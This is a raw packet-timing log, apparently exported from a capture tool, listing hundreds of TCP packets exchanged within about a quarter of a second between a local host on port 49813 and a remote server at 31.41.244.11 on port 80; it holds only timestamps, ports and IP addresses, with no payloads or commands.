Nov 24, 2024 10:24:16.769952059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.770845890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.770896912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.770960093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.771003962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.771874905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.771919012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.772034883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.772074938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.772872925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.772917032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.772963047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.773003101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.774036884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.774085045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.774198055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.774239063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.775127888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.775173903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.775203943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.775244951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.776508093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.776556015 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.776588917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.776629925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.777671099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.777713060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.777774096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.777813911 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.778527021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.778582096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.778683901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.778739929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.779680014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.779736996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.779774904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.779825926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.780818939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.780879974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.780958891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.781006098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.781958103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.782008886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.782048941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.782095909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.783071041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.783123970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.783200026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.783246994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.784224033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.784250021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.784269094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.784284115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.785389900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.785435915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.785506964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.785556078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.786478043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.786536932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.786607981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.786653996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.787744045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.787805080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.787815094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.787837982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.788724899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.788773060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.788850069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.788899899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.789896965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.789946079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.790021896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.790070057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.791039944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.791088104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.791125059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.791167974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.792159081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.792202950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.792231083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.792273998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.793292046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.793346882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.793369055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.793407917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.794424057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.794440031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.794466972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.794478893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.795733929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.795777082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.795835018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.795878887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.796685934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.796732903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.796753883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.796797037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.797848940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.797873974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.797890902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.797909021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.798923969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.798969984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.799098015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.799144983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.800084114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.800128937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.800159931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.800209045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.801207066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.801250935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.801314116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.801352978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.802540064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.802555084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.802582979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.802593946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.803469896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.803517103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.803565025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.803608894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.804622889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.804666996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.804692984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.804732084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.805731058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.805775881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.805808067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.805850029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.806945086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.806969881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.806988955 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.807007074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.808204889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.808252096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.808281898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.808326960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.809199095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.809245110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.809273958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.809314966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.810270071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.810312986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.810374975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.810420990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.811507940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.811523914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.811552048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.811566114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.812496901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.812541962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.812686920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.812730074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.813646078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.813693047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.813756943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.813807964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.814764977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.814811945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.814841032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.814878941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.815963030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.815989971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.816015959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.816028118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.817038059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.817084074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.817142010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.817186117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.818182945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.818229914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.818264008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.818306923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.819420099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.819437027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.819470882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.819483042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.820461988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.820513010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.820533991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.820580006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.821561098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.821609974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.821640968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.821679115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.964709997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.964781046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.964833021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.964879990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.965244055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.965290070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.965322018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.965367079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.966531992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.966578960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.966592073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.966634035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.967708111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.967778921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.968077898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.968122005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.971472025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.971487999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.971503019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.971523046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.971530914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.971544981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.971571922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.972122908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.972138882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.972166061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.972178936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.973145008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.973191023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.973336935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.973380089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.973422050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.973470926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.973500013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.973541021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.974309921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.974355936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.974450111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.974492073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.975457907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.975502014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.975613117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.975652933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.976596117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.976640940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.976795912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.976840973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.977726936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.977798939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.977868080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.977910995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.978853941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.978904009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.979022980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.979067087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.980020046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.980070114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.980182886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.980227947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.981095076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.981142044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.981271029 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.981316090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.982203960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.982254982 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.982331038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.982373953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.983481884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.983536959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.983565092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.983607054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.984481096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.984524012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.984591007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.984633923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.985634089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.985680103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.985706091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.985745907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.986759901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.986807108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.986876011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.986927986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.987972975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.988018036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.988095999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.988137007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.989085913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.989140987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.989196062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.989237070 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.990175962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.990217924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.990245104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.990284920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.991288900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.991329908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.991353035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.991394043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.992413998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.992458105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.992525101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.992572069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.993582010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.993630886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.993705034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.993746996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.994709969 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.994765043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.994854927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.994896889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.995815992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.995861053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.995889902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.995929956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.997000933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.997052908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.997103930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.997143984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.998147011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.998162985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.998194933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.998208046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.999202967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.999248981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.999326944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.999368906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.000341892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.000385046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.000457048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.000499010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.001698971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.001718044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.001746893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.001756907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.002701044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.002746105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.002866030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.002911091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.004029989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.004069090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.004081011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.004121065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.004936934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.004980087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.005014896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.005054951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.006099939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.006115913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.006141901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.006155014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.007199049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.007250071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.007342100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.007385969 CET	49813	80	192.168.2.5	31.41.244.11
